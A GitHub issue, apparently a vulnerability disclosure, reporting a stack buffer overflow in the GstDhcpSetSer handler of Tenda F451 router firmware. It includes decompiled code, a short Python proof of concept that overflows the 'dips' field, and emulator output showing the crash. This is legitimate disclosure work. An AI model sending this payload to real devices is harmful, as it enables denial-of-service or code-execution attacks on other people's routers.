

Jimi-Lab / cve Public[Code](#) [Issues](#) 26 [Pull requests](#) [Actions](#) [Projects](#) [Security and quality](#)[New issue](#)

The fromGstDhcpSetSer function in Tenda's F451_kfw_V1.0.0.7_cn_svn7958 product has a buffer overflow #23

[Open](#)

Jimi-Lab opened 3 weeks ago

[Owner](#)

Information

Vendor: Tenda

Product: F451_kfw_V1.0.0.7_cn_svn7958

Version: V1.0.0.7

Vulnerability: buffer overflow

Firmware Download: <https://www.tenda.com.cn/material/show/1597>

Author: Xianmao Ji

Descriptions

We found an overflow vulnerability in httpd :

In fromGstDhcpSetSer function,it reads in a user-provided parameter dips.

```
137 sub_D878("wrlguest", aspWrlguest);
138 sub_D878("wifiLoginfo", aspWrlLoginfo);
139 sub_1495C("WrlLoginfo", formWrlLoginfo);
140 sub_1495C("GstDhcpSetSer", fromGstDhcpSetSer);
141 sub_1495C("WrlclientSet", WrlclientSet);
142 sub_1495C("WrlExtraSet", formWrlExtraSet);
143 sub_1495C("WrlExtraGet", formWrlExtraGet);
144 sub_D878("wrlExtra", aspWrlExtra);
145 sub_1495C("ApclientScan", wireless_apclient_scan);
146 sub_1495C("wrlwpsset", formWrlwpsset);
```

And the variable s is passed to the strncpy function without any length check, which may overflow the stack-based buffer cp.

```

15 char *s; // [sp+44h] [bp-20h]
16 int v16; // [sp+48h] [bp-1Ch]
17 char *v17; // [sp+4Ch] [bp-18h]
18
19 memset(v9, 0, sizeof(v9));
20 v16 = sub_28BCC(a1, "DHEN", "0");
21 s = (char *)sub_28BCC(a1, "dips", &unk_803C8);
22 v14 = sub_28BCC(a1, "dipe", &unk_803C8);
23 v13 = sub_28BCC(a1, "DHLT", &unk_803C8);
24 v12 = sub_28BCC(a1, "GO", &unk_803C8);
25 v11 = sub_28BCC(a1, "DS1", &unk_803C8);
26 v10 = sub_28BCC(a1, "DS2", &unk_803C8);
27 SetValue("dhcps.gst.1.en", v16);
28 SetValue("dhcps.gst.1.start", s);
29 SetValue("dhcps.gst.1.end", v14);
30 SetValue("dhcps.gst.1.leasetime", v13);
31 SetValue("dhcps.gst.1.dns1", v11);
32 SetValue("dhcps.gst.1.dns2", v10);
33 v17 = strrchr(s, 46);
34 v1 = strlen(s);
35 v2 = strlen(v17);
36 strncpy((char *)v9, s, v1 - v2 + 1);
37 strcat((char *)v9, "1");
38 SetValue("lan.gst.1.ip", v9);
39 eth_name = (const char *)get_eth_name(51);

```

As a result, by requesting the page, an attacker can easily execute a denial of service attack or remote code execution.

Proof of Concept (PoC)

```

import requests
url = "http://127.0.0.1/goform/GstDhcpSetSer"
payload = {
'dips':b'a'*2048
}
res = requests.post(url=url,data=payload)

```

Overcome

```

lah@lah: ~/TengDa/F451_kfw_V1.0.0.7_cn_svn7958.bin.extra...
connect: No such file or directory
Connect to server failed.
httpd listen ip = 0.0.0.0 port = 80
webs: Listening for HTTP requests at address 148.4.9.0
connect: No such file or directory
Connect to server failed.
line:458.open /dev/flow failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
段错误
lah@lah: ~/TengDa/F451_kfw_V1.0.0.7_cn_svn7958.bin.extracted/squashfs-roots$

lah@lah: ~
"Remote end closed connection without response'"))
lah@lah: $ python3 poc20.py
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 700, in
urlopen
    httplib_response = self._make_request(
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 446, in
_make_request
    six.raise_from(e, None)
  File "<string>", line 3, in raise_from
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 441, in
_make_request
    httplib_response = conn.getresponse()
  File "/usr/lib/python3.10/http/client.py", line 1375, in getresponse
    response.begin()
  File "/usr/lib/python3.10/http/client.py", line 318, in begin
    version, status, reason = self._read_status()
  File "/usr/lib/python3.10/http/client.py", line 287, in _read_status
    raise RemoteDisconnected("Remote end closed connection without
http.client.RemoteDisconnected: Remote end closed connection without response

During handling of the above exception, another exception occurred:

Traceback (most recent call last):

```

[Sign up for free](#) to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants

4/20/26, 11:15 AM

The fromGstDhcpSetSer function in Tenda's F451_kfw_V1.0.0.7_cn_svn7958 product has a buffer overflow · Issu...

